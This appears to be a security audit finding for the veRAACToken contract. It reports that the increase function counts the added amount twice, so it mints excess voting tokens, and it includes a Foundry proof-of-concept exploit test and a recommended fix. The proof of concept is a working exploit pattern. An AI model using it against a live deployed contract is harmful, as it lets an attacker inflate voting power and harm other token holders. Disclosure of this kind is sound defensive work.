Summary
The veRAACToken::increase
function mints twice the amount of tokens. Which can be used to malicious usage of governance.
Vulnerability Details
The veRAACToken::increase
function defines the amount of tokens to mint as userLock.amount + amount
when userLock.amount
is already increased by amount
.
/contracts/core/tokens/veRAACToken.sol
function increase(uint256 amount) external nonReentrant whenNotPaused {
# lock amount is increased here
@> _lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
# accessing the lock, which amount is already increased
@> LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
# increasing the amount again
@> userLock.amount + amount,
userLock.end
);
# newPower = oldPower + amount*2
@> uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
raacToken.safeTransferFrom(msg.sender, address(this), amount);
# here will be minted oldPower + amount*2 - oldPower = amount*2
@> _mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
PoC (foundry)
pragma solidity 0.8.28;
import {Test, console} from "forge-std/Test.sol";
import {RAACToken} from "src/core/tokens/RAACToken.sol";
import {veRAACToken} from "src/core/tokens/veRAACToken.sol";
import {IveRAACToken} from "src/interfaces/core/tokens/IveRAACToken.sol";
contract TestVeRAACToken is Test {
RAACToken public raacToken;
veRAACToken public veToken;
address user;
address attacker;
function setUp() public {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
raacToken.manageWhitelist(address(veToken), true);
user = makeAddr("user");
attacker = makeAddr("attacker");
raacToken.mint(user, 3000);
raacToken.mint(attacker, 3000);
vm.prank(user);
raacToken.approve(address(veToken), 3000);
vm.prank(attacker);
raacToken.approve(address(veToken), 3000);
}
function test_increase_exploit() public {
vm.prank(user);
veToken.lock(3000, 365 days);
uint256 userVeBalance = veToken.balanceOf(user);
vm.startPrank(attacker);
veToken.lock(1, 365 days);
veToken.increase(2999);
vm.stopPrank();
uint256 attackerVeBalance = veToken.balanceOf(attacker);
assertEq(userVeBalance, attackerVeBalance, "User and attacker should have the same balance");
}
}
Impact
Additional minted tokens can be used to malicious usage of protocol: voting, fee collection, etc.
Recommendations
Remove excess amount increase.
function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
+ userLock.amount,
- userLock.amount + amount,
userLock.end
);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}